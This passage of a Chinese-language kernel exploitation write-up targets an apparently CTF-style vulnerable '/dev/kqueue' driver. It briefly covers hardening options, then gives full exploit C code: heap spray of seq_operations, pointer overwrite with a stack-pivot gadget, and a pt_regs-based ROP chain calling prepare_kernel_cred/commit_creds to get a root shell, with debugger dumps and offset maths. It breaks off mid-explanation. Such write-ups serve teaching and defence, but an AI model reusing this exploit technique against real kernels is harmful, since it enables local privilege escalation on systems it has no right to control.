        return -ENOENT;
    }

    /* 释放前清理 */
    if (queue->data) {
        memset(queue->data, 0, queue->data_size);
        kfree(queue->data);
    }

    /* 清理队列结构 */
    memset(queue, 0, queue->queue_size);
    kfree(queue);

    /* 清除指针引用 */
    kqueues[request.queue_idx] = NULL;
    isSaved[request.queue_idx] = false;
    queueCount--;

    return 0;
}

2-7. 系统性防护机制

2-7-1. 编译时防护

地址无关代码与位置无关可执行文件

# 内核编译选项加固
CONFIG_RELOCATABLE=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_STRICT_DEVMEM=y
CONFIG_STRICT_KERNEL_RWX=y

控制流完整性保护

# 控制流完整性配置
CONFIG_CFI_CLANG=y
CONFIG_CFI_PERMISSIVE=n
CONFIG_SHADOW_CALL_STACK=y

2-7-2. 运行时防护

内核地址消毒剂(KASAN)

# 内存错误检测
CONFIG_KASAN=y
CONFIG_KASAN_OUTLINE=y
CONFIG_KASAN_INLINE=y
CONFIG_KASAN_GENERIC=y

未定义行为检测(UBSAN)

# 算术异常检测
CONFIG_UBSAN=y
CONFIG_UBSAN_SANITIZE_ALL=y
CONFIG_UBSAN_BOUNDS=y
CONFIG_UBSAN_ARRAY_BOUNDS=y
CONFIG_UBSAN_DIV_ZERO=y
CONFIG_UBSAN_UNREACHABLE=y

2-7-3. 硬件辅助防护

内存保护扩展

防护特性功能描述防护能力
SMAP管理模式访问保护阻止内核访问用户空间内存
SMEP管理模式执行保护阻止内核执行用户空间代码
PAN特权访问永不阻止内核直接访问用户数据
PXN特权执行永不扩展的执行保护机制
MTE内存标记扩展检测内存安全违规

控制流强制技术

/* Intel CET 保护机制 */
// 影子栈保护返回地址
// 间接分支跟踪验证跳转目标
// 终结指令验证控制流完整性

2-7-4. 内核安全模块

LSM框架集成

/* Linux安全模块钩子 */
static struct security_hook_list kqueue_hooks[] = {
    LSM_HOOK_INIT(file_ioctl, kqueue_ioctl_permission),
    LSM_HOOK_INIT(bprm_check_security, kqueue_module_check),
    LSM_HOOK_INIT(kernel_module_request, kqueue_module_load),
};

/* 权限检查示例 */
static int kqueue_ioctl_permission(struct file *file, unsigned int cmd)
{
    /* 检查ioctl命令权限 */
    if (cmd == CREATE_KQUEUE || cmd == DELETE_KQUEUE) {
        if (!capable(CAP_SYS_MODULE)) {
            return -EPERM;
        }
    }
    return 0;
}

审计与监控

/* 安全审计日志 */
static noinline long create_kqueue(request_t request)
{
    /* 记录审计信息 */
    audit_log(current->audit_context, GFP_KERNEL, AUDIT_KQUEUE,
              "create kqueue: max_entries=%u, data_size=%u",
              request.max_entries, request.data_size);

    /* 继续正常操作 */
}

2-8. 总结

2-8-1. 漏洞链核心要点

本驱动模块中的安全漏洞链揭示了内核驱动开发中多个典型问题的协同作用机制:

  1. 算术异常漏洞:在create_kqueue()函数中,由于对用户输入max_entries参数缺乏充分的边界检查,导致整数溢出异常,使得queue_size被错误计算为32字节,而非预期的巨大值。

  2. 内存破坏漏洞:在save_kqueue_entries()函数中,基于错误计算的queue_size分配小缓冲区,同时允许用户指定过大的拷贝大小,导致可控的堆缓冲区溢出。

  3. 逻辑缺陷validate()函数的错误处理不完整,无法有效阻止异常状态的继续执行,为漏洞利用提供了便利条件。

这三个问题相互配合,形成了完整的利用链:算术异常创造异常内存条件 → 内存破坏实现精准覆盖 → 逻辑缺陷确保利用过程不被中断。

2-8-2. 技术启示

开发层面启示

  1. 输入验证的全面性:所有用户输入必须经过严格的范围和合理性检查,包括边界条件和特殊值
  2. 算术运算的安全性:使用安全的算术函数,避免溢出和回绕问题
  3. 内存操作的边界性:确保所有内存操作都在合法边界内进行
  4. 错误处理的完整性:错误情况必须完全终止操作,避免继续执行

架构层面启示

  1. 最小权限原则:驱动程序应仅请求必要的权限
  2. 防御性编程:假设所有输入都可能异常,进行充分验证
  3. 深度防御:多层防护机制共同作用,单一防护失效不导致系统崩溃
  4. 安全默认值:默认配置应为安全配置,需要显式启用危险功能

2-8-3. 防护策略体系

针对此类漏洞链,需要构建多层防护体系:

防护层级具体措施防护目标
代码层面输入验证、安全算术、边界检查预防漏洞引入
编译层面栈保护、CFI、位置无关代码增加利用难度
运行时KASAN、UBSAN、内存隔离检测异常行为
硬件层面SMAP、SMEP、MTE、CET硬件级防护
系统层面LSM、审计、监控系统级管控

此漏洞链的分析不仅揭示了特定驱动模块的安全问题,更重要的是提供了理解复杂漏洞交互机制的范例。通过深入分析这类多层次、多阶段的安全漏洞,可以更好地设计防御策略,提高整个系统的安全性和鲁棒性。安全是一个持续的过程,需要开发人员、安全研究者和系统设计者的共同努力,从设计、实现到部署和维护的全生命周期中贯彻安全理念。

3. 实战演练

exploit核心代码如下:

/* Gadget addresses */
size_t commit_creds = 0xffffffff8108e530;
size_t prepare_kernel_cred = 0xffffffff8108e950;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00df0 + 0x1e;
size_t add_rsp_0Xd0_pop_rbx_pop_rbp_ret = 0xffffffff8126eb5f;
size_t pop_rdi_ret = 0xffffffff81001729;
size_t pop_rcx_pop_rbx_pop_rbp_ret = 0xffffffff811f2005;
size_t mov_rdi_rax_rep_movsq_rdi_rsi_ret = 0xffffffff81b2c10b;

int dev_fd;
int victim_fd;
int seq_fd[0x200];
size_t data[0x20] = {0};

/* Driver request structure */
typedef struct {
  uint32_t max_entries;
  uint16_t data_size;
  uint16_t entry_idx;
  uint16_t queue_idx;
  char *data;
} request_t;

void create_queue(uint32_t max_entries, uint16_t data_size) {
  request_t req = {.max_entries = max_entries, .data_size = data_size};
  ioctl(dev_fd, 0xDEADC0DE, &req);
}

void edit_queue(uint16_t queue_idx, uint16_t entry_idx, void *data) {
  request_t req = {
      .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};
  ioctl(dev_fd, 0xDAADEEEE, &req);
}

void delete_queue(uint16_t queue_idx) {
  request_t req = {.queue_idx = queue_idx};
  ioctl(dev_fd, 0xBADDCAFE, &req);
}

void save_queue(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size) {
  request_t req = {.queue_idx = queue_idx,
                   .max_entries = max_entries,
                   .data_size = data_size};
  ioctl(dev_fd, 0xB105BABE, &req);
}

int main() {
  log.info("Phase 1: Environment setup");
  bind_core(0);
  save_status();

  log.info("Phase 2: Open vulnerable device");
  dev_fd = open("/dev/kqueue", O_RDONLY);
  if (dev_fd < 0) {
    log.error("Failed to open /dev/kqueue");
    exit(-1);
  }

  log.info("Phase 3: Prepare heap overflow data");
  data[4] = add_rsp_0Xd0_pop_rbx_pop_rbp_ret; // stack pivot gadget
  log.success("Stack pivot gadget placed at data[4] = 0x%lx", data[4]);

  log.info("Phase 4: Create and corrupt vulnerable kernel object");
  create_queue(0xffffffff, 0x20 * 8);
  edit_queue(0, 0, data);
  log.success("Kernel queue created and data buffer prepared for overflow");

  log.info("Phase 5: seq_operations heap spray");
  for (int i = 0; i < 0x200; i++) {
    seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    if (seq_fd[i] < 0) {
      log.error("Failed to open /proc/self/stat");
      exit(-1);
    }
  }
  log.success("Sprayed 0x200 seq_operations objects");

  log.info("Phase 6: Trigger heap overflow to corrupt seq_operations->start");
  save_queue(0, 0, 0x28);
  log.success("Heap overflow triggered, seq_operations->start overwritten with "
              "stack pivot");

  log.info("Phase 7: Trigger corrupted seq_operations->start via syscall");
  for (int i = 0; i < 0x200; i++) {
    victim_fd = seq_fd[i];
    int pid = fork();
    if (pid < 0) {
      exit(-1);
    }
    if (pid == 0) {
      // Trigger seq_file->ops->start via read syscall
      __asm__("mov r15,   pop_rdi_ret;"
              "mov r14,   0;"
              "mov r13,   prepare_kernel_cred;"
              "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;"
              "mov rbp,   0;"
              "mov rbx,   0x55555555;"
              "mov r11,   0x66666666;"
              "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;"
              "mov r9,    commit_creds;"
              "mov r8,    swapgs_restore_regs_and_return_to_usermode;"
              "xor rax,   rax;"
              "mov rcx,   0xaaaaaaaa;"
              "mov rdx,   8;"
              "lea rsi,   data;"
              "mov rdi,   victim_fd;"
              "syscall");
      if (!getuid()) {
        get_root_shell();
      }
      exit(0);
    }
  }

  while (1) {
    sleep(1000);
  }
  return 0;
}

3-1. 环境准备与初始化

为确保与内核模块的交互一致性,首先需要准备与驱动模块完全匹配的数据结构。定义request_t结构体,包含所有必要的参数字段,每个字段对应特定的驱动操作。此结构体确保了用户空间与内核空间的数据交互格式统一,为后续操作提供基础。

数据结构定义request_t结构体精确对应驱动内部的数据格式,包括以下关键字段:

  • max_entries:指定最大条目数,用于CREATE和SAVE操作
  • data_size:指定数据缓冲区大小,用于CREATE和SAVE操作
  • entry_idx:指定目标条目索引,用于EDIT操作
  • queue_idx:指定目标队列索引,用于EDIT、DELETE和SAVE操作
  • data:指向用户数据缓冲区的指针,用于EDIT操作

操作接口封装: 将原始的ioctl系统调用封装为语义清晰的函数接口,提高代码可读性和操作的可控性。每个封装函数对应一个特定的驱动命令码,接收相应的参数结构:

  • create_queue():封装创建队列操作,设置最大条目数和数据缓冲区大小
  • edit_queue():封装编辑队列操作,指定队列索引、条目索引和数据缓冲区
  • delete_queue():封装删除队列操作,指定目标队列索引
  • save_queue():封装保存队列操作,指定队列索引、最大条目数和数据大小

执行环境配置: 为减少多核环境下的竞争条件,通过bind_core(0)调用将进程绑定到特定CPU核心,提高时序一致性。这确保了内存分配和释放操作在单一CPU的缓存区域中进行,增加了堆布局的可预测性。

3-2. 漏洞触发流程

3-2-1. 驱动设备初始化

建立与目标驱动设备的通信通道,是后续所有操作的基础。通过标准文件操作接口打开设备文件,验证返回的文件描述符有效性,并记录成功获取的文件描述符用于后续所有设备操作。

设备访问流程

  1. 尝试打开/dev/kqueue字符设备文件
  2. 验证返回的文件描述符有效性
  3. 记录成功获取的文件描述符
  4. 检查设备文件权限和可用性

错误处理机制:如果设备打开失败,记录详细错误信息并终止执行。可能的失败原因包括设备文件不存在、权限不足、内核模块未加载或系统资源限制。

3-2-2. 溢出数据构造

在触发溢出前,需要准备特定的数据载荷,确保溢出后能实现预期的内存修改效果。数据缓冲区的布局设计考虑了目标缓冲区的结构和溢出覆盖的关键位置。

数据缓冲区布局: 创建一个256字节的数据缓冲区,用于容纳完整的溢出载荷。缓冲区的布局设计确保关键覆盖值位于正确的偏移位置:

数据缓冲区布局:
+----------------+ 偏移0x00-0x1F: 前32字节填充数据
+----------------+ 偏移0x20-0x27: 栈迁移指令序列地址 ← 关键覆盖值
+----------------+ 偏移0x28-0xFF: 后续填充数据

栈迁移指令序列: 在偏移0x20处放置的栈迁移指令序列地址指向内核中的一个特殊代码片段。通过调试器分析,这个指令序列的具体实现为:

0xffffffff8126eb5f: add    rsp, 0xd0    ; 栈指针增加208字节
0xffffffff8126eb66: pop    rbx          ; 弹出值到RBX寄存器
0xffffffff8126eb67: pop    rbp          ; 弹出值到RBP寄存器
0xffffffff8126eb68: ret                 ; 返回,跳转到新栈顶

这个序列将执行栈从当前位置迁移到预定义的数据区域,为后续的控制流执行创造条件。栈迁移技术通过修改栈指针寄存器,将执行栈重定向到可控的内存区域。

3-2-3. 异常队列构造

通过精心设置参数,创建具有异常内存特性的队列结构。调用create_queue函数,传入max_entries=0xFFFFFFFFdata_size=0x100参数。当max_entries为0xFFFFFFFF时,计算max_entries+1产生32位无符号整数异常,结果为0。这导致后续的内存计算异常,queue_size被错误计算为32字节。

内存分配结果: 由于整数异常,内存分配产生以下结果:

  1. queue结构体仅分配32字节(kmalloc-32)
  2. queue->data缓冲区独立分配256字节(kmalloc-256)
  3. queue->queue_size字段被错误记录为32
  4. 预期的queue_entry数组实际上不存在

数据缓冲区填充: 通过edit_queue操作将构造的溢出数据写入queue->data缓冲区。这个操作确保256字节的完整载荷被复制到内核空间,为后续的溢出操作做好准备。写入的数据包含前32字节的填充和关键的栈迁移地址。

3-2-4. 目标结构体堆喷

在堆内存中密集分配目标结构体,增加溢出命中目标的概率。这是技术演示成功的关键步骤之一,通过大量分配目标结构体,提高相邻分配的概率。

堆喷策略设计: 通过循环打开大量/proc文件系统文件,触发内核分配seq_operations结构体。每个open("/proc/self/stat", O_RDONLY)调用都会在内核中创建一个seq_operations实例,这个结构体大小为32字节,分配在kmalloc-32缓存中。

/* 堆喷操作示例 */
for (int i = 0; i < 0x200; i++) {
    seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}

open系统调用到分配seq_operations的完整调用链: 当用户程序调用open("/proc/self/stat", O_RDONLY)时,内核中触发以下调用链,同时分配seq_fileseq_operations两个结构体,并建立它们之间的关联:

graph TD
    A["用户空间: open('/proc/self/stat')"] --> B["系统调用: SyS_openat / SYSC_openat"]
    B --> C["do_sys_open"]
    C --> D["do_filp_open"]
    D --> E["path_openat"]
    E --> F["do_last"]
    F --> G["vfs_open"]
    G --> H["do_dentry_open"]

    H --> I["proc_single_open"]
    I --> J["single_open"]

    J --> K["调用 seq_open"]
    K --> L["kzalloc(sizeof(seq_file), GFP_KERNEL)"]
    L --> M["分配 seq_file 结构体"]

    J --> N["kmalloc(sizeof(seq_operations), GFP_KERNEL)"]
    N --> O["分配 seq_operations 结构体"]

    M --> P["建立关联: seq_file->op = seq_operations"]
    O --> P

    P --> Q["返回文件描述符 seq_fd"]

    style A fill:#e1f5e1,stroke:#2e7d32
    style L fill:#fff3e0,stroke:#ef6c00
    style N fill:#fff3e0,stroke:#ef6c00
    style P fill:#e3f2fd,stroke:#1565c0
    style Q fill:#f3e5f5,stroke:#7b1fa2

调用链详细说明

  1. 用户空间调用:用户程序调用open("/proc/self/stat", O_RDONLY),指定打开/proc/self/stat文件,只读模式
  2. 系统调用入口:通过sys_open()SYSC_openat系统调用进入内核空间
  3. 路径解析do_sys_open()do_filp_open()path_openat()等一系列函数解析文件路径
  4. 虚拟文件系统处理vfs_open()调用文件系统特定的打开方法
  5. proc文件系统初始化proc_single_open()处理proc文件的打开,调用single_open()设置序列文件操作
  6. 序列文件创建seq_open()函数创建序列文件结构
  7. 内存分配:通过kzalloc分配seq_file结构体,通过kmalloc分配seq_operations结构体
  8. 结构体关联seq_file结构体通过op指针引用seq_operations结构体
  9. 结果返回:返回文件描述符给用户空间,后续可通过此描述符进行读取操作

概率分析模型: 设单个seq_operations与目标缓冲区相邻的概率为\(P\),堆喷数量为\(N\),则至少一个相邻的概率为:

\[P_{\text{至少一个}} = 1 - (1 - P)^N\]

当\(P=0.01\),\(N=512\)(0x200)时:

\[P_{\text{至少一个}} = 1 - (1-0.01)^{512} \approx 0.994\]

这意味着堆喷512个结构体后,至少一个与目标缓冲区相邻的概率高达99.4%。

内存布局目标: 期望至少一个seq_operations结构体分配在后续分配的new_queue缓冲区相邻位置。由于两者都分配在kmalloc-32缓存,且分配时间相近,相邻概率显著提高。通过大量堆喷,可以几乎确保这种相邻关系的存在。

3-2-5. 堆溢出触发

通过保存操作触发堆缓冲区溢出,修改相邻结构体的关键字段。这是技术演示链中最关键的操作步骤,通过精确控制溢出长度和内容,实现目标内存的修改。

溢出操作执行: 调用save_queue函数,设置data_size参数为0x28(40字节)。由于queue->queue_size为32字节,这将触发8字节的堆缓冲区溢出。

/* 触发溢出操作示例 */
save_queue(0, 0, 0x28);

内存分配与数据复制过程: 在save_kqueue_entries函数中,内核首先为new_queue分配内存:

char *new_queue = validate((char *)kzalloc(queue->queue_size, GFP_KERNEL));

通过调试器检查,分配的内存地址为0xffff88800e236180。初始状态下,该内存区域内容为全零:

pwndbg> p/x new_queue
$1 = 0xffff88800e236180
pwndbg> x/16gx new_queue
0xffff88800e236180:     0x0000000000000000      0x0000000000000000
0xffff88800e236190:     0x0000000000000000      0x0000000000000000
0xffff88800e2361a0:     0xffffffff812112b0      0xffffffff812112d0
0xffff88800e2361b0:     0xffffffff812112c0      0xffffffff81274960
0xffff88800e2361c0:     0xffffffff812112b0      0xffffffff812112d0
0xffff88800e2361d0:     0xffffffff812112c0      0xffffffff81274960
0xffff88800e2361e0:     0xffffffff812112b0      0xffffffff812112d0
0xffff88800e2361f0:     0xffffffff812112c0      0xffffffff81274960

在偏移0xa0处,可以看到相邻的seq_operations结构体的内容。其中0xffffffff812112b0single_start函数指针,指向正常的序列操作函数:

pwndbg> x/1gx 0xffffffff812112b0
0xffffffff812112b0 <single_start>:      0x940f003e8348c031

数据复制与溢出: 当执行__copy_from_user(new_queue, queue->data, request.data_size)时,从用户空间复制40字节数据到new_queue缓冲区。由于queue->queue_size为32字节,这将导致8字节的溢出,覆盖相邻内存区域。

溢出后,内存内容发生变化:

pwndbg> x/16gx new_queue
0xffff88800e236180:     0x0000000000000000      0x0000000000000000
0xffff88800e236190:     0x0000000000000000      0x0000000000000000
0xffff88800e2361a0:     0xffffffff8126eb5f      0xffffffff812112d0
0xffff88800e2361b0:     0xffffffff812112c0      0xffffffff81274960
0xffff88800e2361c0:     0xffffffff812112b0      0xffffffff812112d0
0xffff88800e2361d0:     0xffffffff812112c0      0xffffffff81274960
0xffff88800e2361e0:     0xffffffff812112b0      0xffffffff812112d0
0xffff88800e2361f0:     0xffffffff812112c0      0xffffffff81274960

关键变化发生在偏移0xa0处:single_start函数指针从原来的0xffffffff812112b0被修改为0xffffffff8126eb5f。这个新地址指向栈迁移指令序列:

pwndbg> x/4i 0xffffffff8126eb5f
   0xffffffff8126eb5f <quota_getnextquota+319>: add    rsp,0xd0
   0xffffffff8126eb66 <quota_getnextquota+326>: pop    rbx
   0xffffffff8126eb67 <quota_getnextquota+327>: pop    rbp
   0xffffffff8126eb68 <quota_getnextquota+328>: ret

溢出机制分析

  1. 驱动基于queue->queue_size(32字节)分配new_queue缓冲区
  2. queue->data拷贝40字节数据到new_queue
  3. 超出new_queue边界的8字节覆盖相邻内存
  4. 相邻内存中的seq_operations结构体的single_start函数指针的低8字节被修改

溢出长度计算: 设目标缓冲区大小\(B_t = 32\)字节,拷贝数据大小\(B_c = 40\)字节,溢出长度\(O\)为:

\[O = B_c - B_t = 40 - 32 = 8 \text{字节}\]

这8字节的溢出刚好覆盖seq_operations->single_start函数指针的低8字节,而高8字节保持不变,确保修改后的地址仍在有效内核地址空间内。

内存状态变化: 溢出前,seq_operations->single_start指针指向正常的序列操作函数single_start。溢出后,这个指针被修改为栈迁移指令序列地址add rsp, 0xd0; pop rbx; pop rbp; ret。被修改的指针从原来的序列操作函数地址变为栈迁移指令序列地址,为后续的控制流转移创造条件。

3-3. 控制流转移执行

3-3-1. 函数指针触发

通过正常的文件读取操作触发被修改的函数指针,开始控制流转移过程。这是从内存破坏到代码执行的关键转换点,通过系统调用路径进入内核的执行流程。

触发机制: 对每个可能被影响的文件描述符执行read系统调用。当内核处理这个读取请求时,会通过seq_operations结构体调用single_start函数指针。由于这个指针已被修改,执行流将跳转到栈迁移指令序列地址。

多进程并行策略: 创建多个子进程并行尝试触发,提高成功概率。每个子进程选择一个文件描述符进行读取操作。由于只有部分文件描述符对应的结构体被成功修改,并行尝试可以快速找到有效的目标。

read系统调用到触发seq_operations->single_start的完整调用链: 当用户程序调用read(seq_fd, ...)时,内核中触发以下调用链,最终到达seq_operations->single_start函数指针调用:

graph TD
    A["用户空间: read(seq_fd, buf, size)"] --> B["系统调用: SyS_read / SYSC_read"]
    B --> C["vfs_read"]
    C --> D["__vfs_read"]
    D --> E["seq_read"]
    E --> F["m_start"]
    F --> G["调用 seq_file->op->single_start"]

    subgraph "seq_file 结构体"
        H["seq_file->op"] --> I["指向 seq_operations 结构体"]
    end

    subgraph "seq_operations 结构体"
        I --> J["single_start 函数指针<br/>已被修改为栈迁移指令地址"]
    end

    J --> K["控制流跳转到栈迁移指令"]

    style A fill:#e1f5fe,stroke:#0277bd,stroke-width:2px
    style B fill:#f3e5f5,stroke:#6a1b9a,stroke-width:2px
    style C fill:#e8f5e8,stroke:#2e7d32,stroke-width:2px
    style D fill:#e8f5e8,stroke:#2e7d32,stroke-width:2px
    style E fill:#fff3e0,stroke:#f57c00,stroke-width:2px
    style F fill:#fff3e0,stroke:#f57c00,stroke-width:2px
    style G fill:#ffebee,stroke:#c62828,stroke-width:2px
    style H fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style I fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style J fill:#fce4ec,stroke:#880e4f,stroke-width:2px
    style K fill:#f3e5f5,stroke:#6a1b9a,stroke-width:2px

调用链详细说明

  1. 用户空间调用:用户程序调用read(seq_fd, buf, size),指定文件描述符、缓冲区和读取大小
  2. 系统调用入口:通过sys_read()系统调用进入内核空间
  3. 虚拟文件系统处理vfs_read()调用文件系统特定的读取方法
  4. 序列文件读取:对于proc序列文件,调用seq_read()处理读取请求
  5. 序列起始函数seq_read()调用m_start()获取序列起始位置
  6. 函数指针调用m_start()通过seq_file->op访问seq_operations结构体,调用single_start函数指针
  7. 控制流转移:由于single_start指针已被修改,控制流跳转到栈迁移指令序列地址
  8. 栈迁移执行:执行add rsp, 0xd0; pop rbx; pop rbp; ret指令序列
  9. 控制流引导:栈迁移后,控制流转入预设的指令序列,开始执行后续操作

关键时序关系: 读取操作触发了完整的文件系统调用链,这个调用链最终到达seq_operations结构体的函数指针调用。由于这个指针在堆溢出阶段被修改,正常的控制流被重定向到栈迁移指令地址。这种控制流转移利用了内核正常的执行路径。

3-3-2. pt_regs结构布局与栈迁移计算

pt_regs是内核在系统调用时保存用户态寄存器状态的数据结构。当用户态程序通过syscall指令进入内核时,处理器会自动将用户态的寄存器值压入内核栈,形成pt_regs结构。这个结构包含了系统调用前后的完整寄存器状态,是内核与用户态之间上下文切换的关键。

内核栈布局原理: 在x86_64架构中,内核栈从高地址向低地址增长。当系统调用发生时,内核会将当前栈帧切换到内核栈,并将pt_regs结构压入内核栈。栈顶(低地址)存放当前函数调用的局部变量,栈底(高地址)存放系统调用保存的寄存器状态。

pt_regs结构布局pt_regs结构在内核栈中的布局(从低地址向高地址)如下:

+----------------+ 低地址(栈顶方向)
| R15            | ← 被调用者保存寄存器
| R14            | ← 被调用者保存寄存器
| R13            | ← 被调用者保存寄存器
| R12            | ← 被调用者保存寄存器
| RBP            | ← 帧指针
| RBX            | ← 被调用者保存寄存器
| R11            | ← 临时寄存器
| R10            | ← 第7个参数
| R9             | ← 第6个参数
| R8             | ← 第5个参数
| RAX            | ← 系统调用返回值
| RCX            | ← 第4个参数
| RDX            | ← 第3个参数
| RSI            | ← 第2个参数
| RDI            | ← 第1个参数
| 原始RAX        | ← 系统调用号
| RIP            | ← 指令指针(返回地址)
| CS             | ← 代码段寄存器
| RFLAGS         | ← 标志寄存器
| RSP            | ← 用户态栈指针
| SS             | ← 栈段寄存器
+----------------+ 高地址(栈底方向)

栈迁移计算原理: 通过调试分析发现,当read系统调用触发seq_operations->single_start函数指针时,当前的栈指针RSP距离内核栈中pt_regs结构的R15寄存器的距离为\(\text{0xd0 + 0x10 = 0xe0}\)字节。这意味着从当前栈帧到pt_regs结构R15寄存器位置有224字节的偏移。

精心设计的栈迁移add rsp, 0xd0指令将栈指针增加208字节(0xd0)。执行后,RSP距离pt_regs结构的R15寄存器位置还剩:

\[\text{0xe0 - 0xd0 = 0x10} \text{字节}\]

然后执行pop rbx(弹出当前栈顶值到RBX,栈指针+8),此时RSP距离R15位置为:

\[\text{0x10 - 0x8 = 0x8}\]

再执行pop rbp(弹出当前栈顶值到RBP,栈指针+8),此时RSP距离R15位置为:

\[\text{0x8 - 0x8 = 0x0}\]

最后执行ret指令,从当前栈顶(即pt_regs结构的R15位置)弹出值到RIP,跳转到该地址。同时栈指针增加8字节,指向R14位置。

寄存器布局设计: 通过内联汇编精确设置pt_regs结构的寄存器值,这些值在系统调用时被保存到内核栈的相应位置。寄存器在pt_regs中的布局与代码中设置的顺序完全一致,确保了栈迁移后控制流的正确转移。

__asm__("mov r15,   pop_rdi_ret;"        // 对应pt_regs的R15字段
        "mov r14,   0;"                  // 对应pt_regs的R14字段
        "mov r13,   prepare_kernel_cred;" // 对应pt_regs的R13字段
        "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;" // 对应pt_regs的R12字段
        "mov rbp,   0;"                  // 对应pt_regs的RBP字段
        "mov rbx,   0x55555555;"         // 对应pt_regs的RBX字段
        "mov r11,   0x66666666;"         // 对应pt_regs的R11字段
        "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;" // 对应pt_regs的R10字段
        "mov r9,    commit_creds;"       // 对应pt_regs的R9字段
        "mov r8,    swapgs_restore_regs_and_return_to_usermode;" // 对应pt_regs的R8字段
        "xor rax,   rax;"                // 对应pt_regs的RAX字段(read系统调用号=0)
        "mov rcx,   0xaaaaaaaa;"         // 对应pt_regs的RCX字段
        "mov rdx,   8;"                  // 对应pt_regs的RDX字段
        "lea rsi,   data;"               // 对应pt_regs的RSI字段
        "mov rdi,   victim_fd;"          // 对应pt_regs的RDI字段
        "syscall");                      // 执行read系统调用

偏移计算验证: 通过调试确定,当执行seq_operations->single_start时,栈指针RSP与pt_regs结构R15寄存器位置的精确偏移为0xe0。栈迁移指令add rsp, 0xd0将栈指针移动到距离R15位置0x10的位置。随后两次pop操作(各移动8字节)将栈指针精确移动到R15位置,ret指令从该位置弹出R15的值到RIP,实现控制流转移。

3-3-3. 栈迁移与ROP链执行

栈迁移指令序列将栈指针精确调整到pt_regs结构的R15寄存器位置,然后通过ret指令跳转到pop_rdi_ret地址,开始执行精心设计的ROP链,完成权限提升和状态恢复。

栈迁移执行流程

  1. add rsp, 0xd0:栈指针增加208字节,从当前栈帧移动到距离pt_regs的R15位置0x10处
  2. pop rbx:弹出当前栈顶值到RBX寄存器,栈指针增加8字节,指向距离R15位置0x08处
  3. pop rbp:弹出当前栈顶值到RBP寄存器,栈指针增加8字节,指向R15位置
  4. ret:从R15位置弹出值(pop_rdi_ret地址)到RIP,跳转到该指令,栈指针增加8字节,指向R14位置

ROP链执行流程: 栈迁移后,执行流进入预设的ROP链,实现权限提升和状态恢复功能。ROP链的执行完全基于pt_regs中寄存器的布局,通过连续的ret指令实现控制流转移。

graph TD
    A["开始执行seq_operations->single_start"]:::start
    A --> B["add rsp, 0xd0"]:::stack1
    B --> C["pop rbx"]:::stack2
    C --> D["pop rbp"]:::stack3
    D --> E["ret → 弹出R15到RIP<br/>跳转到pop_rdi_ret"]:::stack4

    E --> F["执行pop_rdi_ret指令"]:::rop1
    F --> G["弹出R14(0)到RDI寄存器"]:::rop2
    G --> H["ret → 弹出R13到RIP<br/>跳转到prepare_kernel_cred"]:::rop3

    H --> I["执行prepare_kernel_cred(0)"]:::rop4
    I --> J["RAX=新凭证指针<br/>返回到R12位置"]:::rop5
    J --> K["执行pop_rcx_pop_rbx_pop_rbp_ret"]:::rop6
    K --> L["设置RCX=0,清理RBX/RBP寄存器"]:::rop7
    L --> M["ret → 弹出R10到RIP<br/>跳转到mov_rdi_rax_rep_movsq_rdi_rsi_ret"]:::rop8

    M --> N["执行mov_rdi_rax_rep_movsq_rdi_rsi_ret"]:::rop9
    N --> O["将RAX中的凭证指针移动到RDI<br/>RCX=0确保rep movsq不执行"]:::rop10
    O --> P["ret → 弹出R9到RIP<br/>跳转到commit_creds"]:::rop11

    P --> Q["执行commit_creds(rdi)"]:::rop12
    Q --> R["应用新凭证到当前进程"]:::rop13
    R --> S["ret → 弹出R8到RIP<br/>跳转到swapgs_restore_regs_and_return_to_usermode"]:::rop14

    S --> T["执行swapgs_restore_regs_and_return_to_usermode"]:::rop15
    T --> U["交换GS寄存器<br/>恢复用户态寄存器<br/>通过iretq返回用户态"]:::rop16

    classDef start fill:#e1f5fe,stroke:#0277bd,stroke-width:3px
    classDef stack1 fill:#bbdefb,stroke:#0277bd,stroke-width:2px
    classDef stack2 fill:#90caf9,stroke:#0277bd,stroke-width:2px
    classDef stack3 fill:#64b5f6,stroke:#0277bd,stroke-width:2px
    classDef stack4 fill:#42a5f5,stroke:#0277bd,stroke-width:2px
    classDef rop1 fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px
    classDef rop2 fill:#a5d6a7,stroke:#2e7d32,stroke-width:2px
    classDef rop3 fill:#81c784,stroke:#2e7d32,stroke-width:2px
    classDef rop4 fill:#4caf50,stroke:#2e7d32,stroke-width:3px
    classDef rop5 fill:#66bb6a,stroke:#2e7d32,stroke-width:2px
    classDef rop6 fill:#a5d6a7,stroke:#2e7d32,stroke-width:2px
    classDef rop7 fill:#81c784,stroke:#2e7d32,stroke-width:2px
    classDef rop8 fill:#4caf50,stroke:#2e7d32,stroke-width:2px
    classDef rop9 fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px
    classDef rop10 fill:#a5d6a7,stroke:#2e7d32,stroke-width:2px
    classDef rop11 fill:#81c784,stroke:#2e7d32,stroke-width:2px
    classDef rop12 fill:#4caf50,stroke:#2e7d32,stroke-width:3px
    classDef rop13 fill:#66bb6a,stroke:#2e7d32,stroke-width:2px
    classDef rop14 fill:#a5d6a7,stroke:#2e7d32,stroke-width:2px
    classDef rop15 fill:#fff3e0,stroke:#f57c00,stroke-width:2px
    classDef rop16 fill:#ffecb3,stroke:#f57c00,stroke-width:3px

权限提升详细流程

  1. 参数准备阶段
    • 执行pop_rdi_ret指令,从栈中(R14位置)弹出0到RDI寄存器
    • ret指令从R13位置弹出prepare_kernel_cred地址到RIP,跳转到该函数
  2. 凭证创建阶段
    • 执行prepare_kernel_cred(0),以参数0创建新的凭证结构
    • 函数返回时,RAX寄存器包含新凭证的指针
    • 返回地址指向R12位置,执行寄存器设置指令
  3. 寄存器设置阶段
    • 执行pop_rcx_pop_rbx_pop_rbp_ret,从栈中弹出RCX、RBX、RBP寄存器的值
